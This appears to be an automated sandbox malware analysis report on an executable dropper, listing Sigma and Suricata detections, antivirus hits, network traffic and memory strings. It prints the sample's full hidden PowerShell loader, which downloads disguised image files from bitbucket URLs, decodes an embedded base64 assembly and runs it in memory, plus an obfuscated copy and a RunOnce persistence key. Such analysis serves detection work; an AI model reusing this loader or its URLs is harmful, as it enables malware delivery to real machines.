#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#Mg#u#Go#c#Bn#D8#MQ#0#DQ#Ng#x#Dc#Mg#x#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#GI#aQB0#GI#dQBj#Gs#ZQB0#C4#bwBy#Gc#LwBo#Gc#Z#Bm#Gg#Z#Bm#Gc#Z##v#HQ#ZQBz#HQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#G4#ZQB3#F8#aQBt#GE#ZwBl#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#C##J#Bz#HQ#YQ

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\nTHivMbGpg.exe, ProcessId: 1664, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.pngSoem/sdaolnwod/rgfd/wgds/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.pngSoem/sdaolnwod/rgfd/wgds/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\", CommandLine: "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\", CommandLine|base64offset|contains: , Image: C:\Windows\System32\rundll32.exe, NewProcessName: C:\Windows\System32\rundll32.exe, OriginalFileName: C:\Windows\System32\rundll32.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\", ProcessId: 7244, ProcessName: rundll32.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#Mg#u#Go#c#Bn#D8#MQ#0#DQ#Ng#x#Dc#Mg#x#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#GI#aQB0#GI#dQBj#Gs#ZQB0#C4#bwBy#Gc#LwBo#Gc#Z#Bm#Gg#Z#Bm#Gc#Z##v#HQ#ZQBz#HQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#G4#ZQB3#F8#aQBt#GE#ZwBl#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#C##J#Bz#HQ#YQ

Data Obfuscation

Sigma detected: Powershell download and load assembly

Source: Process started

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T19:02:44.809157+0200	2803305	3	Unknown Traffic	192.168.2.7	49700	185.166.143.50	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: nTHivMbGpg.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: nTHivMbGpg.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 94.8% probability

Source: C:\Users\user\Desktop\nTHivMbGpg.exe

Code function: 0_2_00007FF6FD213214 GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,GetWindowsDirectoryA,SetCurrentDirectoryA,

0_2_00007FF6FD213214

Source: unknown

HTTPS traffic detected: 185.166.143.50:443 -> 192.168.2.7:49699 version: TLS 1.2

Source: nTHivMbGpg.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: s\dll\System.Core.pdb source: powershell.exe, 00000005.00000002.1293487049.000002714975C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: e.pdb source: powershell.exe, 00000005.00000002.1294975015.00000271498B2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wextract.pdb source: nTHivMbGpg.exe
Source:	Binary string: wextract.pdbGCTL source: nTHivMbGpg.exe
Source:	Binary string: dows\System.Core.pdbL source: powershell.exe, 00000005.00000002.1293487049.000002714975C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.1293487049.00000271497E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: powershell.exe, 00000005.00000002.1294975015.00000271498EB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Microsoft.pdb source: powershell.exe, 00000005.00000002.1293487049.00000271497E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000005.00000002.1294975015.00000271498EB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.1293487049.00000271497C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.1293487049.00000271497E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbD source: powershell.exe, 00000005.00000002.1293487049.00000271497C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 00000005.00000002.1294975015.00000271498EB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 00000005.00000002.1294975015.00000271498EB000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\nTHivMbGpg.exe

Code function: 0_2_00007FF6FD212034 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,

0_2_00007FF6FD212034

Source: global traffic	HTTP traffic detected: GET /hgdfhdfgd/test/downloads/new_image.jpg?14441723 HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /hgdfhdfgd/test/downloads/new_image2.jpg?14461721 HTTP/1.1Host: bitbucket.org

Source: Joe Sandbox View

IP Address: 185.166.143.50 185.166.143.50

Source: Joe Sandbox View

ASN Name: AMAZON-02US AMAZON-02US

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic

Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49700 -> 185.166.143.50:443

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /hgdfhdfgd/test/downloads/new_image.jpg?14441723 HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /hgdfhdfgd/test/downloads/new_image2.jpg?14461721 HTTP/1.1Host: bitbucket.org

Source: global traffic

DNS traffic detected: DNS query: bitbucket.org

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 02 Oct 2024 17:02:43 GMTContent-Type: text/html; charset=utf-8Content-Length: 15020Server: AtlassianEdgeVary: authorization, cookie, user-context, Accept-Language, Origin, Accept-EncodingX-Used-Mesh: FalseContent-Language: enX-View-Name: bitbucket.apps.downloads.views.download_fileEtag: "b693a90a4b9b7ba5606827020189b49f"X-Dc-Location: Micros-3X-Served-By: 3c4d22791762X-Version: 3ff600212c86X-Static-Version: 3ff600212c86X-Request-Count: 394X-Render-Time: 0.08880853652954102X-B3-Traceid: 7002740a6d0144de9b07c02da296923cX-B3-Spanid: ab147ab00f9b85bbX-Frame-Options: SAMEORIGINContent-Security-Policy: connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com atlassian-cookies--categories.us-east-1.prod.public.atl-paas.net as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com xp.atlassian.com atl-global.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net fd-assets.prod.atl-paas.net flight-deck-assets-bifrost.prod-east.frontend.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net www.google-analytics.com sentry.io .ingest.sentry.io events.launchdarkly.com app.launchdarkly.com statsigapi.net fd-config.us-east-1.prod.public.atl-paas.net fd-config-bifrost.prod-east.frontend.public.atl-paas.net micros--prod-west--bitbucketci-file-service--files.s3.us-west-1.amazonaws.com micros--prod-east--bitbucketci-file-service--files.s3.amazonaws.com micros--stg-west--bitbucketci-file-service--files.s3.us-west-1.amazonaws.com micros--stg-east--bitbucketci-file-service--files.s3.amazonaws.com micros--ddev-west--bitbucketci-file-service--files.s3.ap-southeast-2.amazonaws.com bqlf8qjztdtr.statuspage.io https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com/ https://cdn.cookielaw.org/ https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; base-uri 'self'; frame-ancestors 'self' start.atlassian.com start.stg.atlassian.com atlaskit.atlassian.com bitbucket.org; object-src 'none'; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net https://remote-app-switcher.prod-east.frontend.public.atl-paas.net https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 02 Oct 2024 17:02:44 GMTContent-Type: text/html; charset=utf-8Content-Length: 15023Server: AtlassianEdgeVary: authorization, cookie, user-context, Accept-Language, Origin, Accept-EncodingX-Used-Mesh: FalseContent-Language: enX-View-Name: bitbucket.apps.downloads.views.download_fileEtag: "dcf3f17fb20258bb578342014cdbd4f0"X-Dc-Location: Micros-3X-Served-By: b49e06def07eX-Version: 3ff600212c86X-Static-Version: 3ff600212c86X-Request-Count: 154X-Render-Time: 0.08371186256408691X-B3-Traceid: 6e135e3382124723921a6252805b581aX-B3-Spanid: b2a3d0ff1cd02587X-Frame-Options: SAMEORIGINContent-Security-Policy: connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com atlassian-cookies--categories.us-east-1.prod.public.atl-paas.net as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com xp.atlassian.com atl-global.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net fd-assets.prod.atl-paas.net flight-deck-assets-bifrost.prod-east.frontend.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net www.google-analytics.com sentry.io .ingest.sentry.io events.launchdarkly.com app.launchdarkly.com statsigapi.net fd-config.us-east-1.prod.public.atl-paas.net fd-config-bifrost.prod-east.frontend.public.atl-paas.net micros--prod-west--bitbucketci-file-service--files.s3.us-west-1.amazonaws.com micros--prod-east--bitbucketci-file-service--files.s3.amazonaws.com micros--stg-west--bitbucketci-file-service--files.s3.us-west-1.amazonaws.com micros--stg-east--bitbucketci-file-service--files.s3.amazonaws.com micros--ddev-west--bitbucketci-file-service--files.s3.ap-southeast-2.amazonaws.com bqlf8qjztdtr.statuspage.io https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; object-src 'none'; frame-ancestors 'self' start.atlassian.com start.stg.atlassian.com atlaskit.atlassian.com bitbucket.org; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net https://remote-app-switcher.prod-east.frontend.public.atl-paas.net https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/ 'nonce-ZOMOKYiM3v4/MCwtRSec2w=='; style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com/ https://cdn.cookielaw.org/ https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.

Source: powershell.exe, 00000005.00000002.1273855820.0000027132CC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bitbucket.org
Source: powershell.exe, 00000004.00000002.1303077522.0000017DBB3E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: powershell.exe, 00000005.00000002.1290480289.00000271417A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027133078000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1290480289.0000027141660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000005.00000002.1273855820.0000027132F01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.0000027132DAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.1303662906.0000017DBCDD4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1273855820.00000271315F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.1273855820.0000027132DAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
